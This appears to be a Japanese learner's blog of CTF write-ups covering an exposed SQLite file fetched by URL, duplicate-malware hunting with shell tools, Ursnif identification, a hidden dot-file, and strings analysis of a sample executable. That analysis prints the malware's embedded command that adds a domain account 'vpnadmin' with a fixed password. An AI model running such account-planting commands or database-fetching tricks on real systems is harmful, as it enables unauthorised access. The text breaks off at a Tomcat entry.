ksnctf Simple Auth II

SQLインジェクションかと思って色々してみるも解けず。。。ほかの人のwriteupを見てみました。

どうやらsqlite:database.db の database.dbは相対パスの表記らしいです。

http://ctfq.sweetduet.info:10080/~q35/auth.phpのauth.phpをdatabase.dbに置き換えてみるとdatabase.dbをダウンロードできます。
　
DB Browser for SQLiteを使ってDBの中身を見てみます。

フラグが見つかりました。

MNCTF 2018 大量不正

この問題は自力で解けず、、、 ほかの人のwriteupみると、ssdeepというツールを使っていました。 ssdeepのインストールがうまくできなかったので、コマンドで色々絞りながら解くことにしました。

各ファイルの中身をみると、一行目だけ5文字程度の数字で、それ以降は文字数がバラバラだったので、一行目に重複があるかに注目して調べてみます。

$head -1 /home/opc/malware * |sort |uniq -d

1行目を取り出し、uniqコマンドを使うためにsortし、uniqコマンドの-dオプション（重複している文字を表示する）で実行する。

すると17006が重複しているとわかる。

$grep -n 17006 /home/opc/malware/*

grepコマンドにnオプション（検索結果に行番号を表示する）をつけて17006を含むファイルを抽出する。 1と68のファイルが重複しています。 フラグは問題文の通り答えるととれました。

MNCTF2018 種類特定★★☆ CTF

wiresharkで見てみます。

あきらかに怪しいHTTPの通信があります。 アクセスできそうなURLがありますが、できませんでした。。。 単純にgoogleで”gif 　malware　image” と検索するとursnifというマルウェアの名前（フラグ）が見つかりました。

picoCTF2018 you can't see me - Points: 200

ls -lコマンドでディレクトリ内を見てみると、.  のファイル？らしきものが。

このような名前のファイルをcatで見ようとしてもエラーになるので、後ろに＊をつけて見てみます。

フラグがありました。

MNCTF 2018 新人奮闘III（マルウェア解析）

マルウェアをStringsコマンドで実行しました。

# strings AD_OptimizationTool.exe
!This program cannot be run in DOS mode.
.text
.data
@.import
hO @
hK @
h| @
AD Optimizer
Optimization successfuly finished.\nThe speed increased 176%.
/c net user /add /domain vpnadmin P@ssw0rD1!
open
kernel32.dll
shell32.dll
user32.dll
ExitProcess
Sleep
ShellExecuteA
MessageBoxA

net user /add /domain vpnadmin P@ssw0rD1!　ここがコマンド実行部分ですね。(フラグ)

ちなみにnet userは「ユーザアカウントを作成・修正・表示する」コマンドです。

MNCTF 2018 新人奮闘I（マルウェア解析）

問題のzipファイルを展開すると実行ファイルが出てきました。

Linux環境でsha256sum <ファイル名>でSHA256ハッシュ値（フラグ）を求めました。

# sha256sum AD_OptimizationTool.exe
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_Optimization.exe

SendaiCTF2018 Net.3 Tomcat脆弱性 100

前問のパケットをみると、ファイルをアップロードしているので、その脆弱性について調べたら以下のような記事がでてきました。